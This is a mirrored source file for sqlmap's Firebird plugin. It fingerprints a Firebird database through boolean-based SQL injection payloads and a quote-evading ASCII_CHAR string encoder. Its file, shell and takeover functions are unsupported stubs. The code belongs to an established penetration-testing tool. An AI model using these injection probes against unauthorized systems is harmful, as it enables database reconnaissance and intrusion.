mirror of
https://github.com/sqlmapproject/sqlmap.git
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0d559d14df
Initial support for Firebird (30% approx). Initial support for Access (10% approx). Shared libraries code/installation scripts ported to 64bit, directory structure adapted. Minor code adjustments.
279 lines
9.0 KiB
Python
279 lines
9.0 KiB
Python
#!/usr/bin/env python
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"""
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$Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import randomInt, randomRange
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.exception import sqlmapUnsupportedFeatureException
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from lib.core.session import setDbms
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from lib.core.settings import FIREBIRD_ALIASES
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from lib.core.settings import FIREBIRD_SYSTEM_DBS
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from lib.core.unescaper import unescaper
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.enumeration import Enumeration
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from plugins.generic.filesystem import Filesystem
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from plugins.generic.fingerprint import Fingerprint
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from plugins.generic.misc import Miscellaneous
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from plugins.generic.takeover import Takeover
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class FirebirdMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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"""
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This class defines Firebird methods
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"""
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def __init__(self):
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self.excludeDbsList = FIREBIRD_SYSTEM_DBS
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Enumeration.__init__(self, "Firebird")
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Filesystem.__init__(self)
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Takeover.__init__(self)
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unescaper.setUnescape(FirebirdMap.unescape)
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@staticmethod
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def unescape(expression, quote=True):
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if quote:
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while True:
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index = expression.find("'")
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if index == -1:
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break
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firstIndex = index + 1
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index = expression[firstIndex:].find("'")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
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lastIndex = firstIndex + index
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old = "'%s'" % expression[firstIndex:lastIndex]
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unescaped = ""
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for i in range(firstIndex, lastIndex):
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unescaped += "ASCII_CHAR(%d)" % (ord(expression[i]))
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if i < lastIndex - 1:
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unescaped += "||"
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expression = expression.replace(old, unescaped)
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else:
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unescaped = "".join("ASCII_CHAR(%d)||" % ord(c) for c in expression)
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if unescaped[-1] == "||":
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unescaped = unescaped[:-1]
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expression = unescaped
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return expression
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@staticmethod
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def escape(expression):
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while True:
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index = expression.find("ASCII_CHAR(")
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if index == -1:
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break
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firstIndex = index
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index = expression[firstIndex:].find(")")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
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lastIndex = firstIndex + index + 1
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old = expression[firstIndex:lastIndex]
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oldUpper = old.upper()
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oldUpper = oldUpper.lstrip("ASCII_CHAR(").rstrip(")")
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oldUpper = oldUpper.split("||")
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escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
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expression = expression.replace(old, escaped).replace("'||'", "")
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return expression
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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if not conf.extensiveFp:
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value += "Firebird"
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return value
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actVer = formatDBMSfp() + " (%s)" % (self.__dialectCheck())
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"]
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if re.search("-log$", kb.data.banner):
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banVer += ", logging enabled"
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def __sysTablesCheck(self):
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retVal = None
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table = (
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("1.0", [" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)"]),
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("1.5", [" AND NULLIF(%d,%d) IS NULL", " AND EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)"]),
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("2.0", [" AND EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", " AND BIT_LENGTH(%d)>0", " AND CHAR_LENGTH(%d)>0"]),
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("2.1", [" AND BIN_XOR(%d,%d)=0", " AND PI()>0.%d", " AND RAND()<1.%d", " AND FLOOR(1.%d)>=0"])
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)
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for i in xrange(len(table)):
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version, checks = table[i]
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failed = False
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check = checks[randomRange(0,len(checks)-1)].replace("%d", str(randomRange(1,100)))
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payload = agent.fullPayload(check)
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result = Request.queryPage(payload)
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if result:
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retVal = version
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else:
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failed = True
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break
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if failed:
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break
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return retVal
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def __dialectCheck(self):
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retVal = None
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if kb.dbms:
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payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
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result = Request.queryPage(payload)
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retVal = "dialect 3" if result else "dialect 1"
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return retVal
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def checkDbms(self):
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if conf.dbms in FIREBIRD_ALIASES:
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setDbms("Firebird")
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self.getBanner()
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if not conf.extensiveFp:
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return True
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logMsg = "testing Firebird"
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logger.info(logMsg)
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randInt = randomInt()
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payload = agent.fullPayload(" AND EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))
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result = Request.queryPage(payload)
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if result:
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logMsg = "confirming Firebird"
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logger.info(logMsg)
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payload = agent.fullPayload(" AND EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "the back-end DMBS is not Firebird"
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logger.warn(warnMsg)
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return False
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setDbms("Firebird")
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self.getBanner()
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if not conf.extensiveFp:
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return True
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kb.dbmsVersion = [self.__sysTablesCheck()]
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return True
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else:
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warnMsg = "the back-end DMBS is not Firebird"
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logger.warn(warnMsg)
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return False
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def getDbs(self):
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warnMsg = "on Firebird it is not possible to enumerate databases"
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logger.warn(warnMsg)
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return []
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def getPasswordHashes(self):
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warnMsg = "on Firebird it is not possible to enumerate the user password hashes"
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logger.warn(warnMsg)
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return {}
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def readFile(self, rFile):
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errMsg = "on Firebird it is not possible to read files"
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raise sqlmapUnsupportedFeatureException, errMsg
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def writeFile(self, wFile, dFile, fileType=None, confirm=True):
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errMsg = "on Firebird it is not possible to write files"
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raise sqlmapUnsupportedFeatureException, errMsg
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def osCmd(self):
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errMsg = "on Firebird it is not possible to execute commands"
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raise sqlmapUnsupportedFeatureException, errMsg
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def osShell(self):
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errMsg = "on Firebird it is not possible to execute commands"
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raise sqlmapUnsupportedFeatureException, errMsg
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def osPwn(self):
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errMsg = "on Firebird it is not possible to establish an "
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errMsg += "out-of-band connection"
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raise sqlmapUnsupportedFeatureException, errMsg
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def osSmb(self):
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errMsg = "on Firebird it is not possible to establish an "
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errMsg += "out-of-band connection"
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raise sqlmapUnsupportedFeatureException, errMsg
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def forceDbmsEnum(self):
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conf.db = "Firebird" |